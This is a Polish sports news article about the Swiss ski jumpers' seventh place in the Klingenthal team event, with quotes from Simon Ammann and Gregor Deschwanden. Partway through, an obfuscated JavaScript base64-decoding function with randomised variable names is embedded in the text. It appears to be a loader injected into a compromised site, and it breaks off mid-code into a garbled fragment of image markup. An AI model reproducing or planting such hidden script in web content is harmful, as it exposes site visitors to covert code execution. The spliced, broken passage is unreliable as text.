You are currently viewing Simon Ammann: „To niesamowite, kiedy w pierwszym skoku widzisz tylko biały zeskok”
Simon Ammann, fot. Kata Deak

Simon Ammann: „To niesamowite, kiedy w pierwszym skoku widzisz tylko biały zeskok”

Ammann Simon fot.Kata.Deak - Simon Ammann: „To niesamowite, kiedy w pierwszym skoku widzisz tylko biały zeskok”Sporym zaskoczeniem sobotniego konkursu drużynowego w Klingenthal była postawa Szwajcarów, którzy najpierw odważnie włączyli się do walki o awans do rundy finałowej, a później w finale rywalizowali z Austriakami o siódmą lokatę – i rywalizację tą wygrali. O swoich wrażeniach z inauguracji sezonu opowiedzieli Simon Ammann i Gregor Deschwanden.

 

To po prostu niesamowite, kiedy w pierwszym skoku sezonu widzisz przed sobą tylko biały zeskok - powiedział Simon Ammann, który w pierwszej serii „drużynówki” przeskoczył wszystkie linie łącznie z odległością HS wynoszącą 140 metrów i wylądował na odległości 143,5 metra. Także w drugiej serii, skokiem na 136 metrów, czterokrotny mistrz olimpijski potwierdził, że już na początku sezonu znajduje się w wybornej formie. Ostatecznie Ammann uzyskał 5. indywidualny rezultat konkursu.

- Simon Ammann: „To niesamowite, kiedy w pierwszym skoku widzisz tylko biały zeskok”function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0anden, fot. Bartosz Leja" src="http://www.skokipolska.pl/wp-content/uploads/2013/08/Deschwanden_Gregor_B.Leja-300x200.jpg" alt="Gregor Deschwanden, fot. Bartosz Leja" width="300" height="200" /> Gregor Deschwanden, fot. Bartosz Leja

Drugim pewnym punktem w reprezentacji Helwetów był Gregor Deschwanden, który oddał skoki na odległość 127 i 132,5 metra. Tym samym choć częściowo zrehabilitował się po nieudanym występie w piątkowych kwalifikacjach. - Moje wyjście z progu nie jest jeszcze odpowiednie, czegoś brakuje też na dole zeskoku - narzeka 23-letni skoczek i wraca do braku awansu do niedzielnych zawodów - Wkroczyłem w ten sezon zmotywowany i dostałem obuchem po głowie.

Dodajmy, że solidnie zaprezentowali się także Killian Peier (126,0 / 127,0 m), a pucharowy debiutant Luca Egloff (125,0 / 118,0 m) wytrzymał presję zawodów rangi PŚ tylko w pierwszej serii.

 

Źródło: swiss-ski.ch

 

Dodaj komentarz